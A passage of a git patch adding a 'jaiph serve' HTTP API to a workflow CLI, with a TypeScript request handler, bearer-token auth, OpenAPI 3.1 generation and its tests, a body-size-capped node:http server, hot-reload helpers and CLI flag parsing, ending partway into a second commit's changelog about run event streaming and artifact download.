inbound request — decoupled from `node:http` so it is unit-testable. */ +export interface ServeRequest { + method: string; + /** Pathname without the query string. */ + path: string; + query: URLSearchParams; + headers: Record; + /** Decoded request body (empty string when none). */ + body: string; + /** True when the HTTP layer aborted reading past `MAX_BODY_BYTES`. */ + bodyTooLarge?: boolean; +} + +/** A normalized response the HTTP layer writes back. */ +export interface ServeResponse { + status: number; + headers: Record; + body: string; +} + +export interface ServeHandlerOptions { + version: string; + /** `info.title` for the generated OpenAPI document. */ + serverTitle: string; + /** Current tool list (re-read per request so hot reload just works). */ + getTools: () => McpToolSpec[]; + /** Execute one workflow. The caller supplies `runId`; `ctx` carries cancel. */ + callTool: ( + spec: McpToolSpec, + args: Record, + runId: string, + ctx: WorkflowCallContext, + ) => Promise; + /** Bearer token; when set, every `/v1/*` request must present it. */ + token?: string; + /** Cap on simultaneously-running workflows (429 beyond it). */ + maxConcurrent: number; + /** Current-time source (ISO string), injectable for tests. */ + now: () => string; + /** Run-id source, injectable for tests. Defaults to `randomUUID`. */ + newRunId?: () => string; +} + +function isTerminal(status: RunStatus): boolean { + return status === "succeeded" || status === "failed" || status === "cancelled"; +} + +/** + * HTTP request router for `jaiph serve`. A pure request-in / response-out state + * machine over an injected execution layer + run registry (the `McpServer` + * pattern), so the whole surface — auth, arg validation, error shapes, wait + * semantics, cancel, the concurrency cap, and generated OpenAPI — is unit + * testable without opening a socket. The `node:http` glue (`server.ts`) only + * reads the body and streams this response back. + */ +export class ServeHandler { + private readonly opts: ServeHandlerOptions; + private readonly newRunId: () => string; + /** In-memory run registry, keyed by run id. Public so tests can inspect it. */ + readonly runs = new Map(); + private orderCounter = 0; + + constructor(opts: ServeHandlerOptions) { + this.opts = opts; + this.newRunId = opts.newRunId ?? randomUUID; + } + + /** Number of runs still executing (drives the concurrency cap + healthz). */ + inFlight(): number { + let n = 0; + for (const r of this.runs.values()) if (r.status === "running") n += 1; + return n; + } + + /** Cancel every still-running run (second-signal shutdown: child + container teardown). */ + cancelAll(): void { + for (const record of this.runs.values()) { + if (record.status === "running") { + record.cancelled = true; + record.cancel?.(); + } + } + } + + async handleRequest(req: ServeRequest): Promise { + const { method, path } = req; + + if (path === "/" && method === "GET") { + return { status: 302, headers: { location: "/docs" }, body: "" }; + } + if (path === "/healthz") { + if (method !== "GET") return this.methodNotAllowed(); + return this.json(200, { + status: "ok", + version: this.opts.version, + tools: this.opts.getTools().length, + in_flight: this.inFlight(), + }); + } + if (path === "/openapi.json") { + if (method !== "GET") return this.methodNotAllowed(); + return this.json(200, buildOpenApi(this.opts.getTools(), { title: this.opts.serverTitle, version: this.opts.version })); + } + if (path === "/docs") { + if (method !== "GET") return this.methodNotAllowed(); + return { status: 200, headers: { "content-type": "text/html; charset=utf-8" }, body: DOCS_HTML }; + } + + // Everything under /v1 is bearer-protected (when a token is configured). + if (path === "/v1" || path.startsWith("/v1/")) { + if (!this.authorized(req)) { + return this.error(401, "E_UNAUTHORIZED", "missing or invalid bearer token"); + } + return this.handleV1(req); + } + + return this.error(404, "E_NOT_FOUND", `not found: ${path}`); + } + + private handleV1(req: ServeRequest): ServeResponse | Promise { + const { method, path } = req; + + if (path === "/v1/workflows") { + if (method !== "GET") return this.methodNotAllowed(); + const workflows = this.opts.getTools().map((t) => ({ name: t.name, description: t.description, params: t.params })); + return this.json(200, { workflows }); + } + + const runPost = /^\/v1\/workflows\/([^/]+)\/runs$/.exec(path); + if (runPost) { + if (method !== "POST") return this.methodNotAllowed(); + return this.createRun(req, decodeURIComponent(runPost[1])); + } + + if (path === "/v1/runs") { + if (method !== "GET") return this.methodNotAllowed(); + const runs = [...this.runs.values()] + .sort((a, b) => b.order - a.order) + .map((r) => this.toRunObject(r)); + return this.json(200, { runs }); + } + + const cancel = /^\/v1\/runs\/([^/]+)\/cancel$/.exec(path); + if (cancel) { + if (method !== "POST") return this.methodNotAllowed(); + return this.cancelRun(decodeURIComponent(cancel[1])); + } + + const getRun = /^\/v1\/runs\/([^/]+)$/.exec(path); + if (getRun) { + if (method !== "GET") return this.methodNotAllowed(); + const record = this.runs.get(decodeURIComponent(getRun[1])); + if (!record) return this.error(404, "E_NOT_FOUND", "unknown run id"); + return this.json(200, this.toRunObject(record)); + } + + return this.error(404, "E_NOT_FOUND", `not found: ${path}`); + } + + private async createRun(req: ServeRequest, name: string): Promise { + const spec = this.opts.getTools().find((t) => t.name === name); + if (!spec) return this.error(404, "E_NOT_FOUND", `unknown workflow: ${name}`); + + if (req.bodyTooLarge) { + return this.error(413, "E_BODY_TOO_LARGE", `request body exceeds ${MAX_BODY_BYTES} bytes`); + } + const hasBody = req.body.length > 0; + if (hasBody && !isJsonContentType(req.headers["content-type"])) { + return this.error(415, "E_UNSUPPORTED_MEDIA_TYPE", "request body must be application/json"); + } + let raw: Record; + if (hasBody) { + let parsed: unknown; + try { + parsed = JSON.parse(req.body); + } catch { + return this.error(400, "E_BAD_ARGS", "request body is not valid JSON"); + } + if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) { + return this.error(400, "E_BAD_ARGS", "request body must be a JSON object of parameters"); + } + raw = parsed as Record; + } else { + raw = {}; + } + + // Param validation mirrors the MCP `-32602` rules (missing / non-string / + // unexpected key) as HTTP 400. + const missing = spec.params.filter((p) => typeof raw[p] !== "string"); + if (missing.length > 0) { + return this.error(400, "E_BAD_ARGS", `missing or non-string argument(s) for "${spec.name}": ${missing.join(", ")}`); + } + const unexpected = Object.keys(raw).filter((k) => !spec.params.includes(k)); + if (unexpected.length > 0) { + return this.error(400, "E_BAD_ARGS", `unexpected argument(s) for "${spec.name}": ${unexpected.join(", ")}`); + } + + if (this.inFlight() >= this.opts.maxConcurrent) { + return this.error(429, "E_TOO_MANY_RUNS", `too many concurrent runs (max ${this.opts.maxConcurrent})`); + } + + const args: Record = {}; + for (const p of spec.params) args[p] = raw[p] as string; + + const runId = this.newRunId(); + const record: RunRecord = { + run_id: runId, + workflow: spec.workflow, + status: "running", + started_at: this.opts.now(), + ended_at: null, + exit_status: null, + signal: null, + result_text: null, + run_dir: null, + cancelled: false, + order: this.orderCounter++, + }; + this.runs.set(runId, record); + + const ctx: WorkflowCallContext = { + onCancelHandle: (cancelFn) => { + record.cancel = cancelFn; + // A cancel may arrive before the child spawns; honor it now. + if (record.cancelled) cancelFn(); + }, + }; + const done = this.opts + .callTool(spec, args, runId, ctx) + .then((result) => this.finalize(record, result)) + .catch((err) => this.finalizeError(record, err)); + + const wait = req.query.get("wait") === "true"; + if (wait) { + await done; + return this.json(200, this.toRunObject(record)); + } + return { + status: 202, + headers: { "content-type": "application/json", location: `/v1/runs/${runId}` }, + body: JSON.stringify(this.toRunObject(record)), + }; + } + + private cancelRun(id: string): ServeResponse { + const record = this.runs.get(id); + if (!record) return this.error(404, "E_NOT_FOUND", "unknown run id"); + if (isTerminal(record.status)) { + return this.error(409, "E_RUN_TERMINAL", `run is already ${record.status}`); + } + record.cancelled = true; + record.cancel?.(); + return { status: 202, headers: { "content-type": "application/json" }, body: JSON.stringify(this.toRunObject(record)) }; + } + + private finalize(record: RunRecord, result: WorkflowCallResult): void { + record.ended_at = this.opts.now(); + record.exit_status = result.exitStatus ?? null; + record.signal = result.signal ?? null; + record.result_text = result.text; + record.run_dir = result.runDir ?? null; + record.status = record.cancelled ? "cancelled" : result.isError ? "failed" : "succeeded"; + } + + private finalizeError(record: RunRecord, err: unknown): void { + record.ended_at = this.opts.now(); + record.result_text = err instanceof Error ? err.message : String(err); + record.status = record.cancelled ? "cancelled" : "failed"; + } + + private authorized(req: ServeRequest): boolean { + if (!this.opts.token) return true; + const header = req.headers["authorization"]; + if (!header) return false; + const match = /^Bearer\s+(.+)$/.exec(header); + if (!match) return false; + const provided = Buffer.from(match[1]); + const expected = Buffer.from(this.opts.token); + if (provided.length !== expected.length) return false; + return timingSafeEqual(provided, expected); + } + + private toRunObject(r: RunRecord): Record { + return { + run_id: r.run_id, + workflow: r.workflow, + status: r.status, + started_at: r.started_at, + ended_at: r.ended_at, + exit_status: r.exit_status, + signal: r.signal, + result_text: r.result_text, + run_dir: r.run_dir, + }; + } + + private json(status: number, obj: unknown): ServeResponse { + return { status, headers: { "content-type": "application/json" }, body: JSON.stringify(obj) }; + } + + private error(status: number, code: string, message: string): ServeResponse { + return { status, headers: { "content-type": "application/json" }, body: JSON.stringify({ error: { code, message } }) }; + } + + private methodNotAllowed(): ServeResponse { + return this.error(405, "E_METHOD_NOT_ALLOWED", "method not allowed"); + } +} + +function isJsonContentType(contentType: string | undefined): boolean { + return typeof contentType === "string" && contentType.split(";")[0].trim().toLowerCase() === "application/json"; +} diff --git a/src/cli/serve/openapi.test.ts b/src/cli/serve/openapi.test.ts new file mode 100644 index 00000000..c73ce4cc --- /dev/null +++ b/src/cli/serve/openapi.test.ts @@ -0,0 +1,79 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { Validator } from "@seriousme/openapi-schema-validator"; +import { parsejaiph } from "../../parser"; +import { deriveTools, type McpToolSpec } from "../mcp/tools"; +import { buildOpenApi } from "./openapi"; + +const FILE = "/ws/tools.jh"; + +function toolsFrom(source: string): McpToolSpec[] { + return deriveTools(parsejaiph(source, FILE), FILE).tools; +} + +const SERVER_INFO = { title: "jaiph — tools.jh", version: "9.9.9" }; + +// An export-narrowing fixture: only `alpha` is exported, so `beta` is not a tool. +const EXPORT_NARROWED = [ + "# Alpha does A.", + "export workflow alpha(name) {", + ' return "a ${name}"', + "}", + "", + "# Beta does B (not exported).", + "workflow beta() {", + ' return "b"', + "}", + "", +].join("\n"); + +test("buildOpenApi produces a document that passes a real OpenAPI 3.1 validator", async () => { + const doc = buildOpenApi(toolsFrom(EXPORT_NARROWED), SERVER_INFO); + const validator = new Validator(); + const result = await validator.validate(doc); + assert.equal(result.valid, true, `OpenAPI validation failed: ${JSON.stringify(result.errors)}`); + assert.equal(validator.version, "3.1"); +}); + +test("buildOpenApi emits one path per exposed workflow, honoring export narrowing", () => { + const tools = toolsFrom(EXPORT_NARROWED); + assert.deepEqual(tools.map((t) => t.name), ["alpha"]); + + const doc = buildOpenApi(tools, SERVER_INFO) as any; + const workflowPaths = Object.keys(doc.paths).filter((p) => /^\/v1\/workflows\/[^/]+\/runs$/.test(p)); + assert.deepEqual(workflowPaths, ["/v1/workflows/alpha/runs"], "exactly one workflow path; beta is not exposed"); + assert.equal(doc.paths["/v1/workflows/beta/runs"], undefined); +}); + +test("each workflow path carries the exact MCP-derived input schema as its JSON request body", () => { + const tools = toolsFrom(EXPORT_NARROWED); + const doc = buildOpenApi(tools, SERVER_INFO) as any; + const op = doc.paths["/v1/workflows/alpha/runs"].post; + assert.equal(op.operationId, "run_alpha"); + assert.deepEqual(op.requestBody.content["application/json"].schema, tools[0].inputSchema); + // Bearer security is applied to the workflow operation. + assert.deepEqual(op.security, [{ bearer: [] }]); +}); + +test("the document pins info + bearer scheme + run/error component schemas", () => { + const doc = buildOpenApi(toolsFrom(EXPORT_NARROWED), SERVER_INFO) as any; + assert.equal(doc.openapi, "3.1.0"); + assert.deepEqual(doc.info, { title: "jaiph — tools.jh", version: "9.9.9" }); + assert.deepEqual(doc.components.securitySchemes.bearer, { type: "http", scheme: "bearer" }); + assert.ok(doc.components.schemas.Run, "Run schema present"); + assert.ok(doc.components.schemas.Error, "Error schema present"); + // Static run-resource paths are present. + for (const p of ["/v1/workflows", "/v1/runs", "/v1/runs/{id}", "/v1/runs/{id}/cancel", "/healthz"]) { + assert.ok(doc.paths[p], `path ${p} present`); + } +}); + +test("buildOpenApi validates for a multi-tool (no-export) module too", async () => { + const tools = toolsFrom( + ["# Build.", "workflow build(target) {", ' return "${target}"', "}", "", "# Deploy.", "workflow deploy() {", ' return "ok"', "}", ""].join("\n"), + ); + assert.deepEqual(tools.map((t) => t.name).sort(), ["build", "deploy"]); + const doc = buildOpenApi(tools, SERVER_INFO); + const result = await new Validator().validate(doc); + assert.equal(result.valid, true, `validation failed: ${JSON.stringify(result.errors)}`); +}); diff --git a/src/cli/serve/openapi.ts b/src/cli/serve/openapi.ts new file mode 100644 index 00000000..b5948e99 --- /dev/null +++ b/src/cli/serve/openapi.ts @@ -0,0 +1,231 @@ +import type { McpToolSpec } from "../mcp/tools"; + +/** Identity of the server, embedded in `info`. */ +export interface OpenApiServerInfo { + /** `info.title` — e.g. `jaiph — tools.jh`. */ + title: string; + /** `info.version` — the jaiph `VERSION`. */ + version: string; +} + +/** A bearer-secured operation on the `/v1/*` surface. */ +const BEARER_SECURITY = [{ bearer: [] as string[] }]; + +/** Standard `{error:{code,message}}` responses, keyed by HTTP status. */ +function errorResponse(description: string): Record { + return { + description, + content: { "application/json": { schema: { $ref: "#/components/schemas/Error" } } }, + }; +} + +function runResponse(description: string): Record { + return { + description, + content: { "application/json": { schema: { $ref: "#/components/schemas/Run" } } }, + }; +} + +/** + * Build the OpenAPI 3.1.0 document for a running `jaiph serve` instance. Pure: + * the same `(tools, serverInfo)` always yields the same document, so it can be + * regenerated per request and picks up hot-reloaded tool sets for free. + * + * One concrete path per workflow (`/v1/workflows//runs`) carries that + * workflow's own `operationId`, `#`-comment description, and the exact + * MCP-derived input schema as its JSON request body — which is what makes + * Swagger UI render a usable per-workflow form. The static run-resource paths, + * the run/error component schemas, and the bearer security scheme complete the + * document. + */ +export function buildOpenApi(tools: McpToolSpec[], serverInfo: OpenApiServerInfo): Record { + const paths: Record = {}; + + for (const tool of tools) { + const requestBody = + tool.params.length > 0 + ? { + required: true, + content: { "application/json": { schema: tool.inputSchema } }, + } + : { required: false, content: { "application/json": { schema: tool.inputSchema } } }; + paths[`/v1/workflows/${tool.name}/runs`] = { + post: { + operationId: `run_${tool.name}`, + summary: `Run the ${tool.name} workflow`, + description: tool.description, + security: BEARER_SECURITY, + parameters: [ + { + name: "wait", + in: "query", + required: false, + description: "Respond only when the run is terminal (200) instead of returning 202 immediately.", + schema: { type: "boolean" }, + }, + ], + requestBody, + responses: { + "200": runResponse("Run reached a terminal state (wait=true)."), + "202": runResponse("Run accepted and started."), + "400": errorResponse("Invalid arguments."), + "401": errorResponse("Missing or invalid bearer token."), + "413": errorResponse("Request body too large."), + "415": errorResponse("Request body was not application/json."), + "429": errorResponse("Too many concurrent runs."), + }, + }, + }; + } + + paths["/healthz"] = { + get: { + operationId: "healthz", + summary: "Liveness/readiness probe", + responses: { + "200": { + description: "Server is up.", + content: { + "application/json": { + schema: { + type: "object", + properties: { + status: { type: "string" }, + version: { type: "string" }, + tools: { type: "integer" }, + in_flight: { type: "integer" }, + }, + required: ["status", "version", "tools", "in_flight"], + }, + }, + }, + }, + }, + }, + }; + + paths["/v1/workflows"] = { + get: { + operationId: "listWorkflows", + summary: "List exposed workflows", + security: BEARER_SECURITY, + responses: { + "200": { + description: "The exposed workflows.", + content: { + "application/json": { + schema: { + type: "object", + properties: { + workflows: { + type: "array", + items: { + type: "object", + properties: { + name: { type: "string" }, + description: { type: "string" }, + params: { type: "array", items: { type: "string" } }, + }, + required: ["name", "description", "params"], + }, + }, + }, + required: ["workflows"], + }, + }, + }, + }, + "401": errorResponse("Missing or invalid bearer token."), + }, + }, + }; + + paths["/v1/runs"] = { + get: { + operationId: "listRuns", + summary: "List runs started by this server (newest first)", + security: BEARER_SECURITY, + responses: { + "200": { + description: "Runs started by this server process.", + content: { + "application/json": { + schema: { + type: "object", + properties: { runs: { type: "array", items: { $ref: "#/components/schemas/Run" } } }, + required: ["runs"], + }, + }, + }, + }, + "401": errorResponse("Missing or invalid bearer token."), + }, + }, + }; + + paths["/v1/runs/{id}"] = { + get: { + operationId: "getRun", + summary: "Fetch one run", + security: BEARER_SECURITY, + parameters: [{ name: "id", in: "path", required: true, schema: { type: "string" } }], + responses: { + "200": runResponse("The run."), + "401": errorResponse("Missing or invalid bearer token."), + "404": errorResponse("Unknown run id."), + }, + }, + }; + + paths["/v1/runs/{id}/cancel"] = { + post: { + operationId: "cancelRun", + summary: "Cancel an in-flight run", + security: BEARER_SECURITY, + parameters: [{ name: "id", in: "path", required: true, schema: { type: "string" } }], + responses: { + "202": runResponse("Cancellation requested."), + "401": errorResponse("Missing or invalid bearer token."), + "404": errorResponse("Unknown run id."), + "409": errorResponse("Run already terminal."), + }, + }, + }; + + return { + openapi: "3.1.0", + info: { title: serverInfo.title, version: serverInfo.version }, + paths, + components: { + securitySchemes: { bearer: { type: "http", scheme: "bearer" } }, + schemas: { + Run: { + type: "object", + properties: { + run_id: { type: "string" }, + workflow: { type: "string" }, + status: { type: "string", enum: ["running", "succeeded", "failed", "cancelled"] }, + started_at: { type: "string" }, + ended_at: { type: ["string", "null"] }, + exit_status: { type: ["integer", "null"] }, + signal: { type: ["string", "null"] }, + result_text: { type: ["string", "null"] }, + run_dir: { type: ["string", "null"] }, + }, + required: ["run_id", "workflow", "status", "started_at"], + }, + Error: { + type: "object", + properties: { + error: { + type: "object", + properties: { code: { type: "string" }, message: { type: "string" } }, + required: ["code", "message"], + }, + }, + required: ["error"], + }, + }, + }, + }; +} diff --git a/src/cli/serve/server.ts b/src/cli/serve/server.ts new file mode 100644 index 00000000..fda1efd5 --- /dev/null +++ b/src/cli/serve/server.ts @@ -0,0 +1,77 @@ +import { createServer, type IncomingMessage, type Server, type ServerResponse } from "node:http"; +import type { AddressInfo } from "node:net"; +import { MAX_BODY_BYTES, type ServeHandler, type ServeRequest } from "./handler"; + +/** + * Wire a `node:http` server to a `ServeHandler`. This is the only place that + * touches sockets: it reads the request body (aborting past `MAX_BODY_BYTES` + * so a hostile client can't exhaust memory — the handler turns the flag into a + * 413), normalizes the request, and streams the handler's response back. All + * routing/auth/execution decisions live in the handler. + */ +export function createHttpServer(handler: ServeHandler, log: (line: string) => void): Server { + return createServer((req: IncomingMessage, res: ServerResponse) => { + readBody(req) + .then(({ body, tooLarge }) => { + const url = new URL(req.url ?? "/", "http://localhost"); + const serveReq: ServeRequest = { + method: req.method ?? "GET", + path: url.pathname, + query: url.searchParams, + headers: req.headers as Record, + body, + bodyTooLarge: tooLarge, + }; + return handler.handleRequest(serveReq); + }) + .then((response) => { + res.writeHead(response.status, response.headers); + res.end(response.body); + }) + .catch((err) => { + log(`jaiph serve: request handling failed: ${err instanceof Error ? err.message : String(err)}`); + if (!res.headersSent) { + res.writeHead(500, { "content-type": "application/json" }); + } + res.end(JSON.stringify({ error: { code: "E_INTERNAL", message: "internal error" } })); + }); + }); +} + +/** Read the request body as a string, flagging (and truncating) once it passes the cap. */ +function readBody(req: IncomingMessage): Promise<{ body: string; tooLarge: boolean }> { + return new Promise((resolve, reject) => { + const chunks: Buffer[] = []; + let total = 0; + let tooLarge = false; + req.on("data", (chunk: Buffer) => { + total += chunk.length; + if (total > MAX_BODY_BYTES) { + // Past the cap: stop buffering (bound memory) but keep draining so the + // socket can carry the 413 response. + tooLarge = true; + return; + } + chunks.push(chunk); + }); + req.on("end", () => resolve({ body: tooLarge ? "" : Buffer.concat(chunks).toString("utf8"), tooLarge })); + req.on("error", reject); + }); +} + +/** Begin listening; resolves with the actual bound port (handles port 0). */ +export function listen(server: Server, host: string, port: number): Promise { + return new Promise((resolve, reject) => { + const onError = (err: Error): void => { + server.removeListener("listening", onListening); + reject(err); + }; + const onListening = (): void => { + server.removeListener("error", onError); + resolve((server.address() as AddressInfo).port); + }; + server.once("error", onError); + server.once("listening", onListening); + server.listen(port, host); + }); +} diff --git a/src/cli/shared/generation.ts b/src/cli/shared/generation.ts new file mode 100644 index 00000000..6e35fbac --- /dev/null +++ b/src/cli/shared/generation.ts @@ -0,0 +1,136 @@ +import { mkdirSync, unwatchFile, watchFile } from "node:fs"; +import { join } from "node:path"; +import { loadModuleGraph, writeModuleGraph, type ModuleGraph } from "../../transpile/module-graph"; +import { collectDiagnostics } from "../../transpile/validate"; +import { buildScriptsFromGraph } from "../../transpiler"; +import { resolveModuleMetadata, metadataToConfig } from "../../config"; +import { + resolveDockerConfig, + checkDockerAvailable, + prepareImage, + selectMcpSandboxMode, + type DockerRunConfig, + type SandboxMode, +} from "../../runtime/docker"; +import { resolveRuntimeEnv } from "../run/env"; +import { preflightAgentCredentials } from "../run/preflight-credentials"; +import { deriveTools, type McpToolSpec } from "../mcp/tools"; +import type { WorkflowCallEnvironment } from "../exec/call"; + +/** How often `watchFile` polls module sources for hot reload (ms). */ +export const WATCH_INTERVAL_MS = 750; + +/** Everything one generation of a workflow server needs to serve + call. */ +export interface GenerationState { + graph: ModuleGraph; + tools: McpToolSpec[]; + callEnv: WorkflowCallEnvironment; +} + +/** + * Load (or reload) everything one generation of a workflow server needs: + * module graph, compile-time validation, tool derivation, emitted scripts, and + * the serialized graph the spawned runners consume. Shared by `jaiph mcp` and + * `jaiph serve`. Throws on parse/loader errors; returns diagnostics without + * throwing on validation errors. + */ +export function loadGeneration( + inputAbs: string, + workspaceRoot: string, + tempRoot: string, + generation: number, + extraEnv: Record, + log: (line: string) => void, + label: string, +): { state?: GenerationState; failures: string[] } { + const graph = loadModuleGraph(inputAbs, workspaceRoot); + const diag = collectDiagnostics(graph); + if (diag.errors.length > 0) { + return { + failures: diag.sorted().map((d) => `${d.file}:${d.line}:${d.col} ${d.code} ${d.message}`), + }; + } + + const mod = graph.modules.get(inputAbs)!.ast; + const { tools, warnings } = deriveTools(mod, inputAbs); + for (const w of warnings) log(`${label}: ${w}`); + + const outDir = join(tempRoot, `gen-${generation}`); + mkdirSync(outDir, { recursive: true }); + const { scriptsDir } = buildScriptsFromGraph(graph, outDir); + const graphFile = join(outDir, ".jaiph-module-graph.json"); + writeModuleGraph(graphFile, graph); + + const resolvedModuleMetadata = resolveModuleMetadata(mod, process.env); + const effectiveConfig = metadataToConfig(resolvedModuleMetadata); + + return { + state: { + graph, + tools, + callEnv: { inputAbs, workspaceRoot, mod, effectiveConfig, scriptsDir, graphFile, outDir, extraEnv }, + }, + failures: [], + }; +} + +/** + * Resolve the shared startup sandbox posture for a workflow server (`jaiph mcp` + * and `jaiph serve`): the env-driven Docker selection (`jaiph run` semantics), + * a one-time image preparation when Docker is on, and the credential pre-flight + * (demoted to warnings — the server may outlive a credential fix). Throws when + * Docker is enabled but unavailable / the image can't be prepared; the caller + * turns that into an exit-1. Returns the resolved config + sandbox mode so the + * caller can print its own startup notice. + */ +export function resolveStartupPosture( + state: GenerationState, + inputAbs: string, + workspaceRoot: string, + log: (line: string) => void, +): { dockerConfig: DockerRunConfig; sandboxMode: SandboxMode } { + const mod = state.graph.modules.get(inputAbs)!.ast; + const startupEnv = resolveRuntimeEnv(state.callEnv.effectiveConfig, workspaceRoot, inputAbs); + const dockerConfig = resolveDockerConfig(resolveModuleMetadata(mod, process.env)?.runtime, startupEnv); + if (dockerConfig.enabled) { + // Prepare the image once here rather than per call (a cold pull is slow). + checkDockerAvailable(); + prepareImage(dockerConfig); + } + const sandboxMode = selectMcpSandboxMode(startupEnv); + // Credential pre-flight once at startup (warnings only: the server may outlive + // a credential fix, and per-call failures still surface). + const credPreflight = preflightAgentCredentials({ + mod, + inputAbs, + runtimeEnv: startupEnv, + dockerEnabled: dockerConfig.enabled, + }); + for (const w of [...credPreflight.warnings, ...credPreflight.errors]) log(w); + return { dockerConfig, sandboxMode }; +} + +/** + * A `watchFile`-based source watcher shared by `jaiph mcp` and `jaiph serve`. + * `rewatch(files)` swaps the watched set (unwatch old, watch new) so each hot + * reload re-derives the file list from the current module graph; `stop()` + * unwatches everything on shutdown. The `onChange` callback is the single + * listener registered against every file, so unwatch matches watch exactly. + */ +export function createSourceWatcher( + intervalMs: number, + onChange: () => void, +): { rewatch: (files: string[]) => void; stop: () => void } { + let watched: string[] = []; + return { + rewatch(files: string[]): void { + for (const f of watched) unwatchFile(f, onChange); + watched = [...files]; + for (const f of watched) watchFile(f, { interval: intervalMs }, onChange); + }, + stop(): void { + for (const f of watched) unwatchFile(f, onChange); + watched = []; + }, + }; +} diff --git a/src/cli/shared/usage.ts b/src/cli/shared/usage.ts index 5e02f1d0..710ff6cb 100644 --- a/src/cli/shared/usage.ts +++ b/src/cli/shared/usage.ts @@ -15,6 +15,7 @@ export function printUsage(): void { " jaiph format [--check] [--indent ] ", " jaiph compile [--json] [--workspace ] ...", " jaiph mcp [--workspace ] [--env KEY[=VALUE]]... # serve the file's workflows as MCP tools over stdio (alias: jaiph --mcp)", + " jaiph serve [--host ] [--port ] [--workspace ] [--env KEY[=VALUE]]... # serve workflows as an HTTP API + OpenAPI + Swagger UI", "", "Global options:", " -h, --help show this usage (jaiph --help) — each subcommand also accepts -h / --help", @@ -63,6 +64,17 @@ export function printUsage(): void { " --workspace workspace root for import resolution (default: auto-detect).", " --env KEY=VALUE define KEY in every tool call's env (repeatable); --env KEY forwards the host value.", "", + "jaiph serve:", + " Serve the file's workflows as an HTTP API with a generated OpenAPI 3.1 document", + " and Swagger UI at /docs. Exposure mirrors `jaiph mcp`. Runs are durable resources", + " under .jaiph/runs/, inspectable via GET /v1/runs/{id}. Set JAIPH_SERVE_TOKEN to", + " require a bearer token on /v1/*; binding a non-loopback --host without it is a", + " startup error. JAIPH_SERVE_MAX_CONCURRENT (default 4) caps simultaneous runs.", + " --host listen address (default: 127.0.0.1)", + " --port listen port (default: 5247)", + " --workspace workspace root for import resolution (default: auto-detect).", + " --env KEY=VALUE define KEY in every run's env (repeatable); --env KEY forwards the host value.", + "", "Examples:", " jaiph --help", " jaiph --version", @@ -90,6 +102,8 @@ export function printUsage(): void { " jaiph compile --json .", " jaiph mcp ./tools.jh", " jaiph mcp --env GITHUB_TOKEN ./tools.jh", + " jaiph serve ./tools.jh", + " JAIPH_SERVE_TOKEN=secret jaiph serve --host 0.0.0.0 --port 8080 ./tools.jh", "", ].join("\n"), ); @@ -154,6 +168,10 @@ export interface ParsedArgs { inplace?: boolean; unsafe?: boolean; yes?: boolean; + /** `jaiph serve` listen host. */ + host?: string; + /** `jaiph serve` listen port (kept as raw string; the command validates it). */ + port?: string; /** Repeatable `--env` passthrough entries, in flag order. */ env: EnvSpec[]; positional: string[]; @@ -166,6 +184,8 @@ export function parseArgs(args: string[]): ParsedArgs { let inplace: boolean | undefined; let unsafe: boolean | undefined; let yes: boolean | undefined; + let host: string | undefined; + let port: string | undefined; const env: EnvSpec[] = []; const positional: string[] = []; for (let i = 0; i < args.length; i += 1) { @@ -202,6 +222,23 @@ export function parseArgs(args: string[]): ParsedArgs { continue; } + // `jaiph serve` listen address flags. + if (name === "--host" || name === "--port") { + let val: string | undefined; + if (inlineValue !== undefined) { + val = inlineValue; + } else { + val = args[i + 1]; + i += 1; + } + if (!val) { + throw new Error(`${name} requires a value`); + } + if (name === "--host") host = val; + else port = val; + continue; + } + // Repeatable `--env KEY` / `--env KEY=VALUE`. Value comes from `=` or the // next token; validation (name shape, reserved keys) happens now, but a // bare `KEY`'s host lookup is deferred to spawn time (resolveEnvPairs). @@ -234,5 +271,5 @@ export function parseArgs(args: string[]): ParsedArgs { positional.push(arg); } - return { target, raw, workspace, inplace, unsafe, yes, env, positional }; + return { target, raw, workspace, inplace, unsafe, yes, host, port, env, positional }; } From e4e38748ed3ebfd94fbf706ac4cfc3c8dd0f5990 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 24 Jul 2026 08:41:14 +0200 Subject: [PATCH 02/24] Feat: stream serve run events and expose run artifacts Add run-inspection endpoints to `jaiph serve` so clients can watch a run in flight and retrieve what it produced, closing the API half of the "inspect what it is doing" feedback. GET /v1/runs/{id}/events serves the run's hash-chained, credential-redacted run_summary.jsonl verbatim: NDJSON by default, or SSE (Accept: text/event-stream) that replays existing journal lines, follows the file via ~250ms polling for appended lines, sends :ka keep-alives every 15s, and emits `event: end` once the registry marks the run terminal (works for already-terminal runs too). GET /v1/runs/{id}/artifacts lists files under the run dir's artifacts/, and GET /v1/runs/{id}/artifacts/{path} downloads one as application/octet-stream. Downloads are traversal-proof: the request is resolved and realpath-contained against the artifacts dir, rejecting `..`, absolute paths, and symlinks escaping it with 404. Raw %06d-*.out/.err capture files are never exposed by any route. Docker-mode runs read the host-side run dir via the existing discoverDockerRunDir/remapContainerPath layer. Docs and integration/e2e coverage (SSE mid-run, redaction, artifact round-trip, traversal battery) included. --- CHANGELOG.md | 2 + QUEUE.md | 29 ----- docs/cli.md | 3 + docs/serve.md | 35 ++++- e2e/tests/147_serve_http_api.sh | 45 ++++++- integration/serve-server.test.ts | 187 ++++++++++++++++++++++++++- src/cli/commands/serve.ts | 10 +- src/cli/serve/handler.test.ts | 120 ++++++++++++++++++ src/cli/serve/handler.ts | 134 ++++++++++++++++++++ src/cli/serve/openapi.ts | 83 ++++++++++++ src/cli/serve/runfiles.test.ts | 211 +++++++++++++++++++++++++++++++ src/cli/serve/runfiles.ts | 183 +++++++++++++++++++++++++++ src/cli/serve/server.ts | 42 +++++- src/cli/shared/errors.ts | 36 ++++-- src/cli/shared/generation.ts | 20 ++- src/cli/shared/usage.ts | 4 +- 16 files changed, 1094 insertions(+), 50 deletions(-) create mode 100644 src/cli/serve/runfiles.test.ts create mode 100644 src/cli/serve/runfiles.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index d9fd16e3..34b840b9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,8 @@ ## All changes +- **Feat — `jaiph serve` run inspection: live event stream + artifact download:** A `jaiph serve` client can now watch what a run is doing while it executes and retrieve the files it publishes, not just read its terminal result. Three new bearer-gated endpoints (`src/cli/serve/runfiles.ts` + routes in `src/cli/serve/handler.ts`, documented in the generated OpenAPI via `src/cli/serve/openapi.ts`) read from the run's durable, host-visible run directory — the same `run_summary.jsonl` journal and `artifacts/` tree `jaiph run` writes. **`GET /v1/runs/{id}/events`** serves the run's `run_summary.jsonl`: by default the whole journal as 